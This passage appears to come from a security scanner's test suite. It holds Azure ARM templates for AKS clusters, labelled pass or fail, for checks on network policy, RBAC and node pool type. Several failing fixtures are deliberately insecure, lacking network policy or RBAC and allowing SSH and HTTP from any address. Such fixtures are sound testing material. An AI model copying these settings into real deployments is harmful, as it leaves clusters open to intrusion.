"[resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName'))]" ], "properties": { "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "type": "VirtualMachineScaleSets", "orchestratorVersion": "[parameters('kubernetesVersion')]", "mode": "System", "osType": "Linux" } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Virtual Machine." } }, "sshPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "virtualMachineSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "allowedValues": [ "Standard_B2s", "Standard_B2ms", "Standard_D2s_v3", "Standard_D2_v3", "Standard_DS2_v2", "Standard_D2_v2", "Standard_DS2", "Standard_D2", "Standard_A2_v2", "Standard_A2" ], "metadata": { "description": "The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.14.6", "allowedValues": [ "1.10.13", "1.11.10", "1.12.8", "1.13.10", "1.14.6" ], "metadata": { "description": "The version of Kubernetes." } }, "jenkinsDnsPrefix": { "type": "string", "metadata": { "description": "Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '..cloudapp.azure.com'." } }, "servicePrincipalAppId": { "type": "string", "metadata": { "description": "Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "servicePrincipalAppKey": { "type": "securestring", "metadata": { "description": "Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "resourcePrefix": "jenkins", "OSDiskName": "[concat(variables('resourcePrefix'), '-os-disk')]", "nicName": "[concat(variables('resourcePrefix'), '-nic')]", "subnetName": "[concat(variables('resourcePrefix'), '-subnet')]", "publicIPAddressName": "[concat(variables('resourcePrefix'), '-ip')]", "vmName": "[concat(variables('resourcePrefix'), '-vm')]", "virtualNetworkName": "[concat(variables('resourcePrefix'), '-vnet')]", "vmExtensionName": "[concat(variables('resourcePrefix'), '-init')]", "frontEndNSGName": "[concat(variables('resourcePrefix'), '-nsg')]", "aksName": "aks", "aksDnsPrefix": "[concat('aks', uniqueString(resourceGroup().id))]", "_artifactsLocation": "https://raw.githubusercontent.com/Azure/jenkins/master", "_extensionScript": "301-jenkins-aks-zero-downtime-deployment.sh", "_artifactsLocationSasToken": "" }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('vmName')]", "apiVersion": "2016-04-30-preview", "location": "[parameters('location')]", "properties": { "osProfile": { "computerName": "[variables('vmName')]", "adminUsername": "[parameters('adminUsername')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } } }, "hardwareProfile": { "vmSize": "[parameters('virtualMachineSize')]" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" }, "osDisk": { "name": "[variables('OSDiskName')]", "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" } ] } }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" ], "resources": [ { "type": "extensions", "name": "[variables('vmExtensionName')]", "apiVersion": "2015-06-15", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]", "[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]" ], "properties": { "publisher": "Microsoft.Azure.Extensions", "type": "CustomScript", "typeHandlerVersion": "2.0", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]" ] }, "protectedSettings": { "commandToExecute": "[concat('./', variables('_extensionScript'), ' --app_id \"', parameters('servicePrincipalAppId'), '\" --app_key \"', parameters('servicePrincipalAppKey'), '\" --subscription_id \"', subscription().subscriptionId, '\" --tenant_id \"', subscription().tenantId, '\" --resource_group \"', resourceGroup().name, '\" --aks_name \"', variables('aksName'), '\" --jenkins_fqdn \"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\" --artifacts_location \"', variables('_artifactsLocation'), '\" --sas_token \"', variables('_artifactsLocationSasToken'), '\"')]" } } } ] }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "apiVersion": "2016-12-01", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.89.0.0/16" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "10.89.0.0/24" } } ] } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('nicName')]", "apiVersion": "2016-09-01", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]" }, "privateIPAllocationMethod": "Dynamic", "publicIpAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]" } } } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]", "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" ] }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[parameters('jenkinsDnsPrefix')]" } } }, { "type": "Microsoft.Network/networkSecurityGroups", "name": "[variables('frontEndNSGName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-ssh", "properties": { "priority": 1000, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "22" } }, { "name": "allow-jenkins-http", "properties": { "priority": 1001, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "80" } } ] } }, { "apiVersion": "2017-08-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[variables('aksName')]", "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('aksDnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "count": 2, "vmSize": "[parameters('virtualMachineSize')]", "osType": "Linux", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('adminUsername')]", "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } }, "servicePrincipalProfile": { "ClientId": "[parameters('servicePrincipalAppId')]", "Secret": "[parameters('servicePrincipalAppKey')]" } } } ], "outputs": { "admin_username": { "type": "string", "value": "[parameters('adminUsername')]" }, "jenkins_vm_fqdn": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" }, "jenkins_url": { "type": "string", "value": "[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "SSH": { "type": "string", "value": "[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "kubernetes_master_fqdn": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "[split(parameters('aksResourceId'),'/')[8]]", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } } }, "networkProfile": { "networkPlugin": "azure", "networkPolicy": "" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "[split(parameters('aksResourceId'),'/')[8]]", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-FAILED4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "[split(parameters('aksResourceId'),'/')[8]]", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": "yo" } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSNetworkPolicy/aksNetworkPolicy-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "[split(parameters('aksResourceId'),'/')[8]]", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } } }, "networkProfile": { "networkPlugin": "azure", "networkPolicy": "calico" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AKSPoolTypeIsScaleSet/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.170.59819", "templateHash": "14823542069333410776" } }, "parameters": { "clusterName": { "type": "string", "defaultValue": "aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "minValue": 0, "maxValue": 1023, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "minValue": 1, "maxValue": 50, "metadata": { "description": "The number of nodes for the cluster." } }, "agentVMSize": { "type": "string", "defaultValue": "standard_d2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2024-02-01", "name": "fail", "location": "[parameters('location')]", "identity": { "type": "SystemAssigned" }, "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "type": "AvailabilitySet", "vmSize": "[parameters('agentVMSize')]", "osType": "Linux", "mode": "System" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName')), '2024-02-01').fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSPoolTypeIsScaleSet/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.170.59819", "templateHash": "14823542069333410776" } }, "parameters": { "clusterName": { "type": "string", "defaultValue": "aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "minValue": 0, "maxValue": 1023, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "minValue": 1, "maxValue": 50, "metadata": { "description": "The number of nodes for the cluster." } }, "agentVMSize": { "type": "string", "defaultValue": "standard_d2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2024-02-01", "name": "pass", "location": "[parameters('location')]", "identity": { "type": "SystemAssigned" }, "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "type": "VirtualMachineScaleSets", "vmSize": "[parameters('agentVMSize')]", "osType": "Linux", "mode": "System" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName')), '2024-02-01').fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSPoolTypeIsScaleSet/pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.170.59819", "templateHash": "14823542069333410776" } }, "parameters": { "clusterName": { "type": "string", "defaultValue": "aks101cluster", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "minValue": 0, "maxValue": 1023, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "minValue": 1, "maxValue": 50, "metadata": { "description": "The number of nodes for the cluster." } }, "agentVMSize": { "type": "string", "defaultValue": "standard_d2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2024-02-01", "name": "pass1", "location": "[parameters('location')]", "identity": { "type": "SystemAssigned" }, "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "Linux", "mode": "System" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } } } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('clusterName')), '2024-02-01').fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "adminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Virtual Machine." } }, "sshPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH public key string, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "virtualMachineSize": { "type": "string", "defaultValue": "Standard_DS2_v2", "allowedValues": [ "Standard_B2s", "Standard_B2ms", "Standard_D2s_v3", "Standard_D2_v3", "Standard_DS2_v2", "Standard_D2_v2", "Standard_DS2", "Standard_D2", "Standard_A2_v2", "Standard_A2" ], "metadata": { "description": "The virutal machine size to use. We picked out the sizes with 2 vCPUs, but in real world projects you can choose other sizes as you desired." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.14.6", "allowedValues": [ "1.10.13", "1.11.10", "1.12.8", "1.13.10", "1.14.6" ], "metadata": { "description": "The version of Kubernetes." } }, "jenkinsDnsPrefix": { "type": "string", "metadata": { "description": "Unique DNS Name prefix for the Public IP used to access the Jenkins Virtual Machine. Azure will form the final DNS name as '..cloudapp.azure.com'." } }, "servicePrincipalAppId": { "type": "string", "metadata": { "description": "Service Principal App ID (also called Client ID) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "servicePrincipalAppKey": { "type": "securestring", "metadata": { "description": "Service Principal App Key (also called Client Secret) that has contributor rights to the subscription used for this deployment. It is used by the Kubernetes cluster to dynamically manage resources (e.g. user-defined load balancers)." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "resourcePrefix": "jenkins", "OSDiskName": "[concat(variables('resourcePrefix'), '-os-disk')]", "nicName": "[concat(variables('resourcePrefix'), '-nic')]", "subnetName": "[concat(variables('resourcePrefix'), '-subnet')]", "publicIPAddressName": "[concat(variables('resourcePrefix'), '-ip')]", "vmName": "[concat(variables('resourcePrefix'), '-vm')]", "virtualNetworkName": "[concat(variables('resourcePrefix'), '-vnet')]", "vmExtensionName": "[concat(variables('resourcePrefix'), '-init')]", "frontEndNSGName": "[concat(variables('resourcePrefix'), '-nsg')]", "aksName": "aks", "aksDnsPrefix": "[concat('aks', uniqueString(resourceGroup().id))]", "_artifactsLocation": "https://raw.githubusercontent.com/Azure/jenkins/master", "_extensionScript": "301-jenkins-aks-zero-downtime-deployment.sh", "_artifactsLocationSasToken": "" }, "resources": [ { "type": "Microsoft.Compute/virtualMachines", "name": "[variables('vmName')]", "apiVersion": "2016-04-30-preview", "location": "[parameters('location')]", "properties": { "osProfile": { "computerName": "[variables('vmName')]", "adminUsername": "[parameters('adminUsername')]", "linuxConfiguration": { "disablePasswordAuthentication": true, "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } } }, "hardwareProfile": { "vmSize": "[parameters('virtualMachineSize')]" }, "storageProfile": { "imageReference": { "publisher": "Canonical", "offer": "UbuntuServer", "sku": "16.04-LTS", "version": "latest" }, "osDisk": { "name": "[variables('OSDiskName')]", "createOption": "FromImage", "managedDisk": { "storageAccountType": "Standard_LRS" } }, "dataDisks": [] }, "networkProfile": { "networkInterfaces": [ { "id": "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" } ] } }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]" ], "resources": [ { "type": "extensions", "name": "[variables('vmExtensionName')]", "apiVersion": "2015-06-15", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]", "[resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))]" ], "properties": { "publisher": "Microsoft.Azure.Extensions", "type": "CustomScript", "typeHandlerVersion": "2.0", "autoUpgradeMinorVersion": true, "settings": { "fileUris": [ "[concat(variables('_artifactsLocation'), '/quickstart_templates/zero_downtime_deployment/', variables('_extensionScript'), variables('_artifactsLocationSasToken'))]" ] }, "protectedSettings": { "commandToExecute": "[concat('./', variables('_extensionScript'), ' --app_id \"', parameters('servicePrincipalAppId'), '\" --app_key \"', parameters('servicePrincipalAppKey'), '\" --subscription_id \"', subscription().subscriptionId, '\" --tenant_id \"', subscription().tenantId, '\" --resource_group \"', resourceGroup().name, '\" --aks_name \"', variables('aksName'), '\" --jenkins_fqdn \"', reference(variables('publicIPAddressName')).dnsSettings.fqdn, '\" --artifacts_location \"', variables('_artifactsLocation'), '\" --sas_token \"', variables('_artifactsLocationSasToken'), '\"')]" } } } ] }, { "type": "Microsoft.Network/virtualNetworks", "name": "[variables('virtualNetworkName')]", "apiVersion": "2016-12-01", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "10.89.0.0/16" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "10.89.0.0/24" } } ] } }, { "type": "Microsoft.Network/networkInterfaces", "name": "[variables('nicName')]", "apiVersion": "2016-09-01", "location": "[parameters('location')]", "properties": { "ipConfigurations": [ { "name": "ipconfig1", "properties": { "subnet": { "id": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]" }, "privateIPAllocationMethod": "Dynamic", "publicIpAddress": { "id": "[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIPAddressName'))]" } } } ], "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" } }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIpAddresses', variables('publicIpAddressName'))]", "[resourceId('Microsoft.Network/networkSecurityGroups', variables('frontEndNSGName'))]" ] }, { "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic", "dnsSettings": { "domainNameLabel": "[parameters('jenkinsDnsPrefix')]" } } }, { "type": "Microsoft.Network/networkSecurityGroups", "name": "[variables('frontEndNSGName')]", "apiVersion": "2017-06-01", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "default-allow-ssh", "properties": { "priority": 1000, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "22" } }, { "name": "allow-jenkins-http", "properties": { "priority": 1001, "protocol": "Tcp", "access": "Allow", "direction": "Inbound", "sourceAddressPrefix": "*", "sourcePortRange": "*", "destinationAddressPrefix": "*", "destinationPortRange": "80" } } ] } }, { "apiVersion": "2017-08-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[variables('aksName')]", "properties": { "kubernetesVersion": "[parameters('kubernetesVersion')]", "dnsPrefix": "[variables('aksDnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "count": 2, "vmSize": "[parameters('virtualMachineSize')]", "osType": "Linux", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('adminUsername')]", "ssh": { "publicKeys": [ { "path": "[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]", "keyData": "[parameters('sshPublicKey')]" } ] } }, "servicePrincipalProfile": { "ClientId": "[parameters('servicePrincipalAppId')]", "Secret": "[parameters('servicePrincipalAppKey')]" } } } ], "outputs": { "admin_username": { "type": "string", "value": "[parameters('adminUsername')]" }, "jenkins_vm_fqdn": { "type": "string", "value": "[reference(variables('publicIPAddressName')).dnsSettings.fqdn]" }, "jenkins_url": { "type": "string", "value": "[concat('http://', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "SSH": { "type": "string", "value": "[concat('ssh -L 8080:localhost:8080 ', parameters('adminUsername'), '@', reference(variables('publicIPAddressName')).dnsSettings.fqdn)]" }, "kubernetes_master_fqdn": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', variables('aksName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "clusterName": { "type": "string", "metadata": { "description": "The name of the Managed Cluster resource. Possible locations: australiaeast,canadacentral,canadaeast,centralus,eastus,northeurope,uksouth,westeurope,westus,westus2" } }, "metadata": { "type": "object", "metadata": { "description": "Metadata for this resource" } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2_v2", "allowedValues": [ "Standard_A10", "Standard_A11", "Standard_A2", "Standard_A2_v2", "Standard_A2m_v2", "Standard_A3", "Standard_A4", "Standard_A4_v2", "Standard_A4m_v2", "Standard_A5", "Standard_A6", "Standard_A7", "Standard_A8", "Standard_A8_v2", "Standard_A8m_v2", "Standard_A9", "Standard_D11", "Standard_D11_v2", "Standard_D12", "Standard_D12_v2", "Standard_D13", "Standard_D13_v2", "Standard_D14", "Standard_D14_v2", "Standard_D15_v2", "Standard_D2", "Standard_D2_v2", "Standard_D3", "Standard_D3_v2", "Standard_D4", "Standard_D4_v2", "Standard_D5_v2", "Standard_DS11", "Standard_DS11_v2", "Standard_DS12", "Standard_DS12_v2", "Standard_DS13", "Standard_DS13_v2", "Standard_DS14", "Standard_DS14_v2", "Standard_DS15_v2", "Standard_DS2", "Standard_DS2_v2", "Standard_DS3", "Standard_DS3_v2", "Standard_DS4", 